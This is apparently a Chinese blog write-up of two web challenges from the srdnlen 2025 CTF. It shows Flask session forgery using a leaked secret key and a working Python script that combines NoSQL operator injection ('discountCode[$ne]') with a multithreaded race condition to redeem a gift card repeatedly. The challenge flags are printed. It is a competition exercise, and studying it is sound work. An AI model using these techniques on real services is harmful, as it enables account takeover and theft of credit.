侧边栏壁纸
博主昵称
Mingzu

薪心相印,相由薪生

2025 srdnlen

2025年01月20日 18阅读 0评论 0点赞

srdnlen

web

Ben 10

题目描述说 Ben 10 有好东西,但是注册账号后发现不让访问

附件中的 app.py 给出了 app.secret_key = 'your_secret_key'

把 jwt 用 flask-session-cookie-manager 解密,发现只有 username

m63nh67z.png

从 app.py 中可以看到注册用户时也一起注册了一个对应的 admin 用户

@app.route('/register', methods=['GET', 'POST'])
def register():
    admin_username = f"admin^{username}^{secrets.token_hex(5)}"
    cursor.execute("INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)",
                           (admin_username, admin_password, None))
    conn.commit()

而 admin_username 在 /home 中显示

m63nkpbe.png

所以进行 session 伪造

m63nntuw.png

GET /image/ben10 ,拿到 flag

m63nsvou.png

srdnlen{b3n_l0v3s_br0k3n_4cc355_c0ntr0l_vulns}

Focus. Speed. I am speed.

群里师傅说打 nosql + 竞争,那我就照着打了qwq

m63oa7cc.png

应该要买第4个,50 points

m63ocvz8.png

网页都访问一遍,发现在 GET /redeem?discountCode=xxx 有查询

翻一下代码,顺着找到:

routes.js

const discount = await DiscountCodes.findOne({discountCode})

discountCodes.js

const DiscountCodeSchema = new mongoose.Schema({
    discountCode: {
        type: String,
        default: null, // Optional field for discount codes
    },
    value: {
        type: Number,
        default: 10
    }
})

module.exports = mongoose.model('DiscountCodes', DiscountCodeSchema)

注一下试试看,确实可以

m63pxcd8.png

但是礼品卡说是一天只能兑换一次,找代码

routes.js

// Check if the voucher has already been redeemed today
        const today = new Date();
        const lastRedemption = user.lastVoucherRedemption;

        if (lastRedemption) {
            const isSameDay = lastRedemption.getFullYear() === today.getFullYear() &&
                              lastRedemption.getMonth() === today.getMonth() &&
                              lastRedemption.getDate() === today.getDate();
            if (isSameDay) {
                return res.json({success: false, message: 'You have already redeemed your gift card today!' });
            }
        }

        // Apply the gift card value to the user's balance
        const { Balance } = await User.findById(req.user.userId).select('Balance');
        user.Balance = Balance + discount.value;
        // Introduce a slight delay to ensure proper logging of the transaction 
        // and prevent potential database write collisions in high-load scenarios.
        new Promise(resolve => setTimeout(resolve, delay * 1000));
        user.lastVoucherRedemption = today;
        await user.save();

在保存之前,setTimeout(delay * 1000 ms),所以我们通过并发请求访问 balance 来制造竞争条件

一直 buy 第一辆🚗,然后重复兑换礼品卡

import time
import requests
import threading
import json

url = "http://speed.challs.srdnlen.it:8082"

# 账号注册
url_register = f"{url}/register-user"
data_user = {"username": "mingzuxxxxxxxxxxxxxxx", "password": "123"}
try:
    response = requests.post(url_register, json=data_user)
    jwt = response.headers["Set-Cookie"].split(";")[0].split("=")[1]
    print(jwt)
except Exception as e:
    print(e)

# 竞争
url_store = f"{url}/store"
headers = {'Cookie': f'jwt={jwt}',}
data_buy = {"productId": 1}

def send_request():
    try:
        response = requests.post(url_store, headers=headers, json=data_buy)
        # print(f"Status Code: {response.status_code}, Response Text: {response.text}")
    except Exception as e:
        print(f"Request failed: {e}")

def send_requests():
    while True:
        send_request()

def race(thread_num):
    threads = []
    for _ in range(thread_num):
        thread = threading.Thread(target=send_requests)
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

# 偷点数
url_redeem = f"{url}/redeem?discountCode[$ne]=1"

def steal_points():
    while True:
        try:
            response = requests.get(url_redeem, headers=headers)
            # print(f"Status Code: {response.status_code}, Response Text: {response.text}")
            if json.loads(response.text)["success"]:
                print(f"Steal Points Successfully: {json.loads(response.text)["message"]}")
        except Exception as e:
            print(f"Request failed: {e}")

def steal_points_rapidly(thread_num):
    threads = []
    for _ in range(thread_num):
        thread = threading.Thread(target=steal_points)
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

# steal_points()

# 执行
def execute():
    thread_race = threading.Thread(target=race, args=(100,))
    thread_steal = threading.Thread(target=steal_points_rapidly, args=(100,))

    thread_race.start()
    time.sleep(1)
    thread_steal.start()

execute()

m63t610z.png

拿到 60 points ,买到辣

m63t79zl.png

srdnlen{6peed_1s_My_0nly_Competition}
0

—— 评论区 ——

昵称
邮箱
网址
取消
博主栏壁纸
博主头像 Mingzu

薪心相印,相由薪生

4 文章数
0 标签数
0 评论量
人生倒计时